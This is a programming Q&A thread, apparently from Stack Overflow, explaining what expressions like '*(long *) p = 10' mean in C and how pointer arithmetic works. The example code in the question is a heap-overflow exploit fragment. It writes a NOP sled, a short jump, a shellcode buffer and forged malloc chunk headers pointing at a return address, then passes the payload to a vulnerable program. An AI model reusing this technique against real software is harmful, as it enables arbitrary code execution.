开发者

Pointer to a casted Pointer?

I've come across pointers to casted pointers (not sure that this is the correct term) in C such as:

*(long *) p = 10; I could never for the life of me understand what it means, or, the other example:

*(void *) NULL,开发者_StackOverflow社区 or *(char *) 0; I just can't wrap my head around it, could someone please explain this to me, and save me from partial brain damage? :)

Thanks

(P.S An example is shown below of such usage)

int main(int argc, char *argv[]) { char *p, *payload = (char *) malloc(1052);

    p = payload;
    memset(p, '\x90', 1052);

    /* Jump 12 ahead over the trashed word from unlink() */
    memcpy(p, "\xeb\x0c", 2);

    /* We put the shellcode safely away from the possibly corrupted area */
    p += 1020 - 64 - sizeof(shellcode);
    memcpy(p, shellcode, sizeof(shellcode) - 1);

    /* Set up the prev_size and overflow size fields */
    p += sizeof(shellcode) + 64 - 4;
    *(long *) p = -4;
    p += 4;
    *(long *) p = -16;

    /* Set up the fwd and bck of the fake chunk */
    p += 8;
    *(long *) p = RETLOC - 12;
    p += 4;
    *(long *) p = RETADDR;

    p += 4;
    *(p) = '\0';

    execl("./wilderness", "./wilderness", payload, NULL); }


First break up the statement:

  long *q = (long*)p;
  *q = 10;
  p += 4;

The p argument is of type char*, you can only read or write 1 byte at a time through that pointer. The cast to long* creates a pointer through which you can read or write 4 bytes at a time from/to the same address. The assignment writes the bytes 0x00, 0x00, 0x00, 0x0A. The same thing as:

  *p = 10;
  p++;
  *p = 0;
  p++;
  *p = 0;
  p++;
  *p = 0;

Depending on byte order. After the assignment, p needs to be incremented by 4 because 4 bytes were written.

This trick is pretty common with buffers of bytes that contain non-byte data.


*(long *) p = -4;

Means: p is a "pointer to a long" and I am trying to assign the value to the memory referenced there. We do this because initially we said p was a char pointer, and we want to change its behavior when accessed.


Putting the * before the (long *) is called "dereferencing" the pointer. It means, as @GrayWizardx says, that you're modifying the value in memory pointed to by the pointer.


codepad.org/iz2TSDfa

This code writes four bytes of data to address zero in memory. It is not common or accepted practice, and is not applicable on a general basis. In other words: black magic.

I am guessing it triggers some sort of processor interrupt.

I advise you learn assembly/the computer architecture this code targets if you want to understand it.


The first star is actually dereferencing the casted pointer. Thus, *(long *) p = 10 means cast p to a pointer to long and assign -4 to the dereferenced location. Compare your examples to *p =10 .


Its the pointer arithmetic, based on the pointer type i.e. whether its char* cPtr or int* nPtr, when you increment cPtr++ will move one byte and nPtr++ would move 4 bytes (assumimg char takes one byte and int takes 4 bytes).


You may have an easier time when you understand the motivation behind your example code.

The code is manipulating 4-byte values, which is why p is being cast as a long *. The construct * (long *) p = -4; allows you to set 4 bytes to 0xFFFFFFFC with a single assignment. If you left p as a char * you'd need four separate assignments, and you'd also need to worry about the endianness of your platform.

So why not simply declare p as a long * in the first place? Because the code is using pointer arithmetic to calculate the target addresses: p += sizeof(shellcode) + 64 - 4; Pointer arithmetic is easy with a char * because adding 1 to the pointer will advance it to the next byte, just as you would expect. Not so with pointers to other data types! If p were declared as long *p; then p += 4 adds 4 * sizeof(long) to p.

Why? Because this makes it easy to traverse a list of long variables:

long sum_of_longs(long vals[], int num)  { // 'vals[]' contains 'num' long ints.
   long *p;                                // This pointer traverses the array.
   long sum;                               // Running total.

   // Initialize 'p' to the first number in 'vals[]' and
   // increment through the array until 'num' reaches 0.
   //
   // Note that 'p' increases by 4 bytes each time in order
   // to advance to the next long.
   for (sum=0, p=vals;  num > 0;  p++, num--)
      sum += *p;

   return sum;
}

So, in your example, defining p as a char * makes it easy to do the pointer arithmetic in terms of bytes, and casting it to a long * makes the assignments easier.

0

上一篇:

下一篇:

精彩评论

暂无评论...
验证码 换一张
取 消

最新问答

问答排行榜